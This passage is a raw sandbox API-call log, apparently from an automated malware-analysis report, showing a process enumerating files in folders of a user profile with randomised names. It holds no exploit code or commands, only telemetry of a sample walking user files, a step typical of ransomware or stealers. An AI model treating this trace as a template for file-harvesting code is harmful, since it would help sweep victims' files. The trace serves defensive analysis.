nFileSizeHigh=0x0, nFileSizeLow=0x12437, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="VZ1KGpBVhLm9TyscT.jpg", cAlternateFileName="VZ1KGP~1.JPG")) returned 1 [0124.384] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4511e060, ftCreationTime.dwHighDateTime=0x1d5d7f0, ftLastAccessTime.dwLowDateTime=0x1acf54e0, ftLastAccessTime.dwHighDateTime=0x1d5dbb0, ftLastWriteTime.dwLowDateTime=0x1acf54e0, ftLastWriteTime.dwHighDateTime=0x1d5dbb0, nFileSizeHigh=0x0, nFileSizeLow=0x2761, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="wvDV5e6xUuwbuPjMUG3.jpg", cAlternateFileName="WVDV5E~1.JPG")) returned 1 [0124.384] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f3c4f0, ftCreationTime.dwHighDateTime=0x1d5ddd9, ftLastAccessTime.dwLowDateTime=0x939e1a70, ftLastAccessTime.dwHighDateTime=0x1d5dcf8, ftLastWriteTime.dwLowDateTime=0x939e1a70, ftLastWriteTime.dwHighDateTime=0x1d5dcf8, nFileSizeHigh=0x0, nFileSizeLow=0x15258, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="YOVR.gif", cAlternateFileName="")) returned 1 [0124.384] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f52180, ftCreationTime.dwHighDateTime=0x1d5d8c5, ftLastAccessTime.dwLowDateTime=0xda5a8540, ftLastAccessTime.dwHighDateTime=0x1d5e372, ftLastWriteTime.dwLowDateTime=0xda5a8540, ftLastWriteTime.dwHighDateTime=0x1d5e372, nFileSizeHigh=0x0, nFileSizeLow=0x1277b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="z1b7OTKSMe 9P9.bmp", cAlternateFileName="Z1B7OT~1.BMP")) returned 1 [0124.384] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d92380, ftCreationTime.dwHighDateTime=0x1d5e802, ftLastAccessTime.dwLowDateTime=0x7ed2c1b0, ftLastAccessTime.dwHighDateTime=0x1d5d99a, ftLastWriteTime.dwLowDateTime=0x7ed2c1b0, ftLastWriteTime.dwHighDateTime=0x1d5d99a, nFileSizeHigh=0x0, nFileSizeLow=0x1054e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="z65aHdF05Ss3rT.bmp", cAlternateFileName="Z65AHD~1.BMP")) returned 1 [0124.384] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2a3aa0, ftCreationTime.dwHighDateTime=0x1d5dde1, ftLastAccessTime.dwLowDateTime=0x6ef539c0, ftLastAccessTime.dwHighDateTime=0x1d5e427, ftLastWriteTime.dwLowDateTime=0x6ef539c0, ftLastWriteTime.dwHighDateTime=0x1d5e427, nFileSizeHigh=0x0, nFileSizeLow=0x56f2, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_05UryK8xOvW6MyPrpY.jpg", cAlternateFileName="_05URY~1.JPG")) returned 1 [0124.384] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2032370, ftCreationTime.dwHighDateTime=0x1d5e1be, ftLastAccessTime.dwLowDateTime=0xb9786e20, ftLastAccessTime.dwHighDateTime=0x1d5e16d, ftLastWriteTime.dwLowDateTime=0xb9786e20, ftLastWriteTime.dwHighDateTime=0x1d5e16d, nFileSizeHigh=0x0, nFileSizeLow=0x2037, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_GThVeGSJ.png", cAlternateFileName="_GTHVE~1.PNG")) returned 1 [0124.384] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ffe380, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0xeee0eda0, ftLastAccessTime.dwHighDateTime=0x1d5d95a, ftLastWriteTime.dwLowDateTime=0xeee0eda0, ftLastWriteTime.dwHighDateTime=0x1d5d95a, nFileSizeHigh=0x0, nFileSizeLow=0x9549, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_H 1pL94xSSmA.png", cAlternateFileName="_H1PL9~1.PNG")) returned 1 [0124.384] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ffe380, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0xeee0eda0, ftLastAccessTime.dwHighDateTime=0x1d5d95a, ftLastWriteTime.dwLowDateTime=0xeee0eda0, ftLastWriteTime.dwHighDateTime=0x1d5d95a, nFileSizeHigh=0x0, nFileSizeLow=0x9549, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_H 1pL94xSSmA.png", cAlternateFileName="_H1PL9~1.PNG")) returned 0 [0124.384] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.384] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.384] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.384] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0124.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.384] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.384] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.384] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.384] PathFindFileNameW (pszPath="") returned="" [0124.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ffe380, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0xeee0eda0, ftLastAccessTime.dwHighDateTime=0x1d5d95a, ftLastWriteTime.dwLowDateTime=0xeee0eda0, ftLastWriteTime.dwHighDateTime=0x1d5d95a, nFileSizeHigh=0x0, nFileSizeLow=0x9549, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_H 1pL94xSSmA.png", cAlternateFileName="_H1PL9~1.PNG")) returned 0xffffffff [0124.384] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed4c0 | out: hHeap=0x810000) returned 1 [0124.384] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.384] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed3f0 | out: hHeap=0x810000) returned 1 [0124.384] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.385] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0124.385] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.385] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.385] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.385] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.385] PathFindFileNameW (pszPath="") returned="" [0124.385] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ffe380, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0xeee0eda0, ftLastAccessTime.dwHighDateTime=0x1d5d95a, ftLastWriteTime.dwLowDateTime=0xeee0eda0, ftLastWriteTime.dwHighDateTime=0x1d5d95a, nFileSizeHigh=0x0, nFileSizeLow=0x9549, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_H 1pL94xSSmA.png", cAlternateFileName="_H1PL9~1.PNG")) returned 0xffffffff [0124.385] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488148 | out: hHeap=0x810000) returned 1 [0124.385] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.385] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.385] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.385] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0124.385] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.385] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.385] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.385] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.385] PathFindFileNameW (pszPath="") returned="" [0124.385] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.385] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed4c0 | out: hHeap=0x810000) returned 1 [0124.385] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.385] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.385] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0124.386] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.386] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.386] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed3f0 | out: hHeap=0x810000) returned 1 [0124.386] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.386] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0124.386] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.386] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.386] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.386] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.386] PathFindFileNameW (pszPath="") returned="" [0124.386] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.386] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed3f0 | out: hHeap=0x810000) returned 1 [0124.386] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.386] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.386] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0124.386] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0124.386] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0124.386] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.386] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.386] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.386] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.386] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0124.386] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.386] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.387] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.387] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.387] PathFindFileNameW (pszPath="") returned="" [0124.387] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0124.387] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488148 | out: hHeap=0x810000) returned 1 [0124.387] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.387] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.387] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.387] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0124.387] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.387] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.387] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.387] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.387] PathFindFileNameW (pszPath="") returned="" [0124.387] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0124.387] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed4c0 | out: hHeap=0x810000) returned 1 [0124.387] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.387] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed3f0 | out: hHeap=0x810000) returned 1 [0124.387] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.387] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0124.387] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.387] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.387] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.387] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.387] PathFindFileNameW (pszPath="") returned="" [0124.387] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0124.388] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed4c0 | out: hHeap=0x810000) returned 1 [0124.388] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.388] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed3f0 | out: hHeap=0x810000) returned 1 [0124.388] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.388] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0124.388] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.388] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.388] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.388] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.388] PathFindFileNameW (pszPath="") returned="" [0124.388] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8f9c640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8f9c640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.388] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488148 | out: hHeap=0x810000) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8f9c640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8f9c640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa13c40, ftCreationTime.dwHighDateTime=0x1d5e757, ftLastAccessTime.dwLowDateTime=0x15396730, ftLastAccessTime.dwHighDateTime=0x1d5e0df, ftLastWriteTime.dwLowDateTime=0x15396730, ftLastWriteTime.dwHighDateTime=0x1d5e0df, nFileSizeHigh=0x0, nFileSizeLow=0x17f70, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Bj-qSz4JB3ne.flv", cAlternateFileName="BJ-QSZ~1.FLV")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6184b50, ftCreationTime.dwHighDateTime=0x1d5e5bb, ftLastAccessTime.dwLowDateTime=0x6138f7f0, ftLastAccessTime.dwHighDateTime=0x1d5e17e, ftLastWriteTime.dwLowDateTime=0x6138f7f0, ftLastWriteTime.dwHighDateTime=0x1d5e17e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="JTvtdCNymG6", cAlternateFileName="JTVTDC~1")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ee950, ftCreationTime.dwHighDateTime=0x1d5e2ff, ftLastAccessTime.dwLowDateTime=0x52a7f210, ftLastAccessTime.dwHighDateTime=0x1d5deb6, ftLastWriteTime.dwLowDateTime=0x52a7f210, 